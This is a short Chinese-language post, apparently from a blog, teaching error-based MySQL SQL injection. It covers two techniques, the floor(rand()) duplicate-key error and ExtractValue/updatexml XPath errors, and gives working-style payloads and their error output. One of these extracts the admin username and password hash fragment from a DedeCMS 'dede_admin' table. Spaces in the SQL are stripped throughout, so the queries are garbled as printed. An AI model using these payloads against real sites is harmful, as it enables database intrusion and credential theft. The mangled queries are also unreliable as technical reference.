在很多的情况下我们不能直接方便的进行注入,于是有了BENCHMARK延迟注射; 如果能得到MySQL的错误信息的话(必须是程序主动输出mysql错误,php中是调用mysql_error(),其他脚本可能有自己的函数),现在又有了更方便的方法。 网上流传了两三种方法:
第一种略,略过了,低版本mysql适用 http://hi.baidu.com/toby57/blog/item/26416060c1d92c48eaf8f839.html
第二种: SELECT1FROM(selectcount(*),concat(floor(rand(0)*2),(SELECT'x'))afrominformation_schema.tablesgroupbya)b; ERROR1062(23000)uplicateentry'1x'forkey'group_key' 这种方法对MySQL版本没什么要求,但只能爆出64字节的数据,用这种方法遇到大数据只能MID慢慢来了。 (select1from(selectcount(*),concat((+++),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)k)
第三种: 通过对ExtractValue和updataxml函数传递不合XPATH语法规则的参数来爆出数据。(只针对MySQL5.1++,低于5.1的无此函数) SELECT1ANDExtractValue(1,CONCAT(0x5c,(SELECT@@VERSION))) ERROR1105(HY000):XPATHsyntaxerror:'\5.1.40-community' SELECT1FROMdede_adminWHEREupdatexml(1,(SELECTCONCAT(0x5b,uname,0x3a,MID(pwd,4,16),0x5d)FROMdede_admin),1); ERROR1105(HY000):XPATHsyntaxerror:'[admin:7a57a5a743894a0e]' updatexml(1,CONCAT(0x5c,(SELECT@@VERSION)),1);
比上一种方法方便简洁,不过这方法只能爆出32字节的数据。同样,大数据只能Mid了。
百度一下这两个函数: EXTRACTVALUE(XML_document,XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string(Xpath格式的字符串)。 作用:从目标XML中返回包含所查询值的字符串 UPDATEXML(XML_document,XPath_string,new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string(Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值 |